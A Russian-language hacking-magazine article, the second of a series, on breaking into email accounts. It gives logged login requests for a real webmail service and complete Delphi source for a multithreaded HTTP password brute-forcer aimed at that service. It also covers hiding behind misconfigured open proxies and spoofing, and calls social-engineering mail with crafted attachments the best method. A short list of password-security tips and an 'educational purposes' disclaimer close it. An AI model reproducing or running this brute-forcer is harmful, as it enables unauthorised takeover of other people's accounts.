Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право.
Стандартной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.

HTTP - сервис.

Восьмидесятый порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять
xspider, по port-mapper есть хорошая статья на
www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам.
Тcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:

GET
http://mail.xakep.ru/cgi-bin/mail?username=USER&domain= xakep.ru&password=PASSWORD&submit=
%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
Accept-Language: ru
User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
Host: mail.xakep.ru
Proxy-Connection: Keep-Alive

Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:

HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:01 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close

<HTML>
<HEAD>
...

Вот лог ответа на неправильный пароль:

HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:58 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
...

Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">, в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с
одной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

1) Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.

2) Надо послать один запрос и получить один ответ, а не три.

3) Можно использовать стандартный прокси.

Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringGrid-ы с паролями и с логом
PassList, DopList1 : TStringList;

const
FilePass = 'pass.txt';
// Файл с паролями в каталоге проги
ProcCount = 10;
// кол-во процессов
// Адрес прокси через который будет сканирование.
// Лучше отпинговать сначала
HTTPserv = 'proxy.address.net';
User = 'USER';

implementation
// Для преобразование имени
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
DopList1:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
J0 : Integer;
begin
if Rez then begin
Rez:=false;
for J0:=1 to I0 do
try Sock[J0].Terminate; except end;
end else begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except end;
if PassList.Count<=0 then begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать','ERROR',mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп,
или подобрали

if (I0>ProcCount)or(not Rez) then break;
if I0 mod 100 = 0 then DopList1.Text:=IntToStr(I0);
end;
end;
end;

// Инициализация процесса
procedure TScan.Execute;
var
iaddr, x0 : Integer;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begin
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
// Получение адреса
iaddr := inet_addr(HTTPserv);
if iaddr <=0 then begin
// Если имя, а не IP
ph := gethostbyname(HTTPserv);
if ph = nil then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
pptr := PaPInAddr(ph^.h_addr_list);
x0 := 0;
while pptr^[x0] <> nil do begin
InAddr:= pptr^[x0]^;
inc(x0);
addr.sin_addr:=inaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
if (connect(sock2, addr, sizeof(addr))) = 0 then break
end;
end else begin
// Если IP
addr.sin_addr.S_addr:=iaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
addr.sin_family := AF_INET;
if (connect(sock2, addr, sizeof(addr))) > 0 then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
end;
// Запуск цикла
while true do begin
CScan;
if (not Rez)or(I>=PassList.Count) then break;
end;
except end;
dec(I0);
try Terminate; except end;
// Если отмена, закончился список или подобрали
if I0<=1 then begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
DopList1.SaveToFile('log.txt');
end;
end;

// Процедура сканирования
procedure TScan.CScan;
var
x, I2 : Integer;
Buf : String;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Формирование url
Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru
&password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
// Отправка данных
send(sock2,Buf[1],length(Buf),0);
// Получение 300 байт
setlength(Buf,300);
x:=recv(sock2,Buf[1],300,0);
if x<300 then exit;
setlength(Buf,300);
// Если подобрали
if pos(Buf,'<!D')<=0 then begin
Rez:=false;
DopList1.Text:='Pass = '+PassList.Strings[I2];
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
except
end;
end;
end.

Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

Анонимность.

Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать
SOCKS-прокси. Всю информацию по использованию и настройке можно почитать здесь.

Публичные прокси.

Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

Подведем итоги по безопасности.

1. Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.

2. Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки
Java.

3. Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.

4. Отключить в e-mail клиенте авто просмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.

5. Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.

6. Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии